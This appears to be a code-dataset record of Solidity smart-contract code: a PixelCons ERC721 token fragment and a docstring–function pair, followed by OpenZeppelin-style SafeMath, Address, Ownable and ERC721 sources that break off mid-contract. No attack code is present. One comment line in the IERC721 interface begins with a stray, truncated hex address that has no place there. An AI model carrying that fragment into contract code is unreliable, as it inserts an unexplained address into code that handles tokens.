/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @notice Check whether the given editor is the current owner and original creator of a given token ID
* @param _address Address to check for
* @param _tokenId ID of the token to be edited
* @return True if the editor is approved for the given token ID, is an operator of the owner, or is the owner of the token
*/
function isCreatorAndOwner(address _address, uint256 _tokenId) internal view returns(bool)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
address owner = lookupData.owner;
address creator = pixelcons[lookupData.tokenIndex].creator;
return (_address == owner && _address == creator);
}
/**
* @notice Check whether the given spender can transfer a given token ID
* @dev Throws if the PixelCon does not exist
* @param _address Address of the spender to query
* @param _tokenId ID of the token to be transferred
* @return True if the spender is approved for the given token ID, is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _address, uint256 _tokenId) internal view returns(bool)
{
address owner = tokenLookup[_tokenId].owner;
require(owner != address(0), "PixelCon does not exist");
return (_address == owner || tokenApprovals[_tokenId] == _address || operatorApprovals[owner][_address]);
}
/**
* @notice Clear current approval of a given token ID
* @dev Throws if the given address is not indeed the owner of the token
* @param _owner Owner of the token
* @param _tokenId ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal
{
require(tokenLookup[_tokenId].owner == _owner, "Incorrect PixelCon owner");
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @notice Add a token ID to the list of a given address
* @dev Throws if the receiver address has hit ownership limit or the PixelCon already has an owner
* @param _to Address representing the new owner of the given token ID
* @param _tokenId ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal
{
uint64[] storage ownedList = ownedTokens[_to];
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(ownedList.length < uint256(2 ** 32) - 1, "Max number of PixelCons per owner has been reached");
require(lookupData.owner == address(0), "PixelCon already has an owner");
lookupData.owner = _to;
//update ownedTokens references
uint ownedListIndex = ownedList.length;
ownedList.length++;
lookupData.ownedIndex = uint32(ownedListIndex);
ownedList[ownedListIndex] = lookupData.tokenIndex;
}
/**
* @notice Remove a token ID from the list of a given address
* @dev Throws if the given address is not indeed the owner of the token
* @param _from Address representing the previous owner of the given token ID
* @param _tokenId ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal
{
uint64[] storage ownedList = ownedTokens[_from];
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner == _from, "From address is incorrect");
lookupData.owner = address(0);
//update ownedTokens references
uint64 replacementTokenIndex = ownedList[ownedList.length - 1];
delete ownedList[ownedList.length - 1];
ownedList.length--;
if (lookupData.ownedIndex < ownedList.length) {
//we just removed the last token index in the array, but if this wasn't the one to remove, then swap it with the one to remove
ownedList[lookupData.ownedIndex] = replacementTokenIndex;
tokenLookup[pixelcons[replacementTokenIndex].tokenId].ownedIndex = lookupData.ownedIndex;
}
lookupData.ownedIndex = 0;
}
/**
* @notice Invoke `onERC721Received` on a target address (not executed if the target address is not a contract)
* @param _from Address representing the previous owner of the given token ID
* @param _to Target address that will receive the tokens
* @param _tokenId ID of the token to be transferred
* @param _data Optional data to send along with the call
* @return True if the call correctly returned the expected value
*/
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns(bool)
{
if (!_to.isContract()) return true;
bytes4 retval = ERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers from ERC721 asset contracts.
* See (https://github.com/OpenZeppelin/openzeppelin-solidity)
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT.
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
/**
* @title AddressUtils Library
* @dev Utility library of inline functions on addresses.
* See (https://github.com/OpenZeppelin/openzeppelin-solidity)
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address _account) internal view returns(bool)
{
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { size := extcodesize(_account) }
return size > 0;
}
}
/**
* @title StringUtils Library
* @dev Utility library of inline functions on strings.
* These functions are very expensive and are only intended for web3 calls
* @author PixelCons
*/
library StringUtils {
/**
* @dev Replaces the given key with the given value in the given string
* @param _str String to find and replace in
* @param _key Value to search for
* @param _value Value to replace key with
* @return The replaced string
*/
function replace(string _str, string _key, string _value) internal pure returns(string)
{
bytes memory bStr = bytes(_str);
bytes memory bKey = bytes(_key);
bytes memory bValue = bytes(_value);
uint index = indexOf(bStr, bKey);
if (index < bStr.length) {
bytes memory rStr = new bytes((bStr.length + bValue.length) - bKey.length);
uint i;
for (i = 0; i < index; i++) rStr[i] = bStr[i];
for (i = 0; i < bValue.length; i++) rStr[index + i] = bValue[i];
for (i = 0; i < bStr.length - (index + bKey.length); i++) rStr[index + bValue.length + i] = bStr[index + bKey.length + i];
return string(rStr);
}
return string(bStr);
}
/**
* @dev Converts a given number into a string with hex representation
* @param _num Number to convert
* @param _byteSize Size of the number in bytes
* @return The hex representation as string
*/
function toHexString(uint256 _num, uint _byteSize) internal pure returns(string)
{
bytes memory s = new bytes(_byteSize * 2 + 2);
s[0] = 0x30;
s[1] = 0x78;
for (uint i = 0; i < _byteSize; i++) {
byte b = byte(uint8(_num / (2 ** (8 * (_byteSize - 1 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2 + 2 * i] = char(hi);
s[3 + 2 * i] = char(lo);
}
return string(s);
}
/**
* @dev Gets the ascii hex character for the given value (0-15)
* @param _b Byte to get ascii code for
* @return The ascii hex character
*/
function char(byte _b) internal pure returns(byte c)
{
if (_b < 10) return byte(uint8(_b) + 0x30);
else return byte(uint8(_b) + 0x57);
}
/**
* @dev Gets the index of the key string in the given string
* @param _str String to search in
* @param _key Value to search for
* @return The index of the key in the string (string length if not found)
*/
function indexOf(bytes _str, bytes _key) internal pure returns(uint)
{
for (uint i = 0; i < _str.length - (_key.length - 1); i++) {
bool matchFound = true;
for (uint j = 0; j < _key.length; j++) {
if (_str[i + j] != _key[j]) {
matchFound = false;
break;
}
}
if (matchFound) {
return i;
}
}
return _str.length;
}
}
|
Get the approved address for PixelCon `(_tokenId)` Throws if the PixelCon does not exist _tokenId ID of the token return Address currently approved for the given PixelCon/
|
function getApproved(uint256 _tokenId) public view validId(_tokenId) returns(address)
{
address owner = tokenLookup[_tokenId].owner;
require(owner != address(0), "PixelCon does not exist");
return tokenApprovals[_tokenId];
}
| 1,804,990
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
0x8D58e44836aE63Af9b5B01a75D1D1Cc2Ed8 * - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
